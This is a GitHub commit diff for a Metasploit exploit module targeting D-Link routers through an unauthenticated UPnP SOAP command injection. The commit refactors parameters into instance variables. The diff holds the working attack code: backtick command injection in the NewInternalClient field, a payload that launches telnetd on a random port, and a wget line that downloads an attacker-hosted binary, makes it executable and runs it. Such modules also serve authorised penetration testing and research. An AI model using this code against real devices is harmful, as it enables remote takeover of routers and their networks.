Skip to content

Commit 4beea52

Browse files
author
jvazquez-r7
committed
Use instance variables
1 parent e93eef4 commit 4beea52

File tree

1 file changed

+20
-20
lines changed

1 file changed

+20
-20
lines changed

modules/exploits/linux/http/dlink_upnp_exec_noauth.rb

Lines changed: 20 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -85,51 +85,51 @@ def initialize(info = {})
8585
end
8686

8787
def exploit
88-
new_portmapping_description = rand_text_alpha(8)
89-
new_external_port = rand(65535)
90-
new_internal_port = rand(65535)
88+
@new_portmapping_descr = rand_text_alpha(8)
89+
@new_external_port = rand(65535)
90+
@new_internal_port = rand(65535)
9191

9292
if target.name =~ /CMD/
93-
exploit_cmd(new_external_port, new_internal_port, new_portmapping_description)
93+
exploit_cmd
9494
elsif target.name =~ /Telnet/
95-
exploit_telnet(new_external_port, new_internal_port, new_portmapping_description)
95+
exploit_telnet
9696
else
97-
exploit_mips(new_external_port, new_internal_port, new_portmapping_description)
97+
exploit_mips
9898
end
9999
end
100100

101-
def exploit_cmd(new_external_port, new_internal_port, new_portmapping_description)
101+
def exploit_cmd
102102
if not (datastore['CMD'])
103103
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
104104
end
105105
cmd = payload.encoded
106106
type = "add"
107-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
107+
res = request(cmd, type)
108108
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
109109
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
110110
end
111111
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112112
type = "delete"
113-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
113+
res = request(cmd, type)
114114
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
115115
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
116116
end
117117
return
118118
end
119119

120-
def exploit_telnet(new_external_port, new_internal_port, new_portmapping_description)
120+
def exploit_telnet
121121
telnetport = rand(65535)
122122

123123
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
124124

125125
cmd = "telnetd -p #{telnetport}"
126126
type = "add"
127-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
127+
res = request(cmd, type)
128128
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
129129
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
130130
end
131131
type = "delete"
132-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
132+
res = request(cmd, type)
133133
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
134134
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
135135
end
@@ -168,7 +168,7 @@ def exploit_telnet(new_external_port, new_internal_port, new_portmapping_descrip
168168
return
169169
end
170170

171-
def exploit_mips(new_external_port, new_internal_port, new_portmapping_description)
171+
def exploit_mips
172172

173173
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
174174

@@ -220,7 +220,7 @@ def exploit_mips(new_external_port, new_internal_port, new_portmapping_descripti
220220

221221
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
222222
type = "add"
223-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
223+
res = request(cmd, type)
224224
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
225225
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
226226
end
@@ -236,13 +236,13 @@ def exploit_mips(new_external_port, new_internal_port, new_portmapping_descripti
236236
register_file_for_cleanup("/tmp/#{filename}")
237237

238238
type = "delete"
239-
res = request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
239+
res = request(cmd, type)
240240
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
241241
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
242242
end
243243
end
244244

245-
def request(cmd, type, new_external_port, new_internal_port, new_portmapping_description)
245+
def request(cmd, type)
246246

247247
uri = '/soap.cgi'
248248

@@ -256,22 +256,22 @@ def request(cmd, type, new_external_port, new_internal_port, new_portmapping_des
256256
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
257257

258258
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
259-
data_cmd << "<NewPortMappingDescription>#{new_portmapping_description}</NewPortMappingDescription>"
259+
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
260260
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
261261
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
262262
data_cmd << "<NewEnabled>1</NewEnabled>"
263-
data_cmd << "<NewExternalPort>#{new_external_port}</NewExternalPort>"
263+
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
264264
data_cmd << "<NewRemoteHost></NewRemoteHost>"
265265
data_cmd << "<NewProtocol>TCP</NewProtocol>"
266-
data_cmd << "<NewInternalPort>#{new_internal_port}</NewInternalPort>"
266+
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
267267
data_cmd << "</m:AddPortMapping>"
268268
else
269269
#we should clean it up ... otherwise we are not able to exploit it multiple times
270270
vprint_status("#{rhost}:#{rport} - deleting portmapping")
271271
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
272272

273273
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
274-
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
274+
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
275275
data_cmd << "</m:DeletePortMapping>"
276276
end
277277

0 commit comments

Comments
 (0)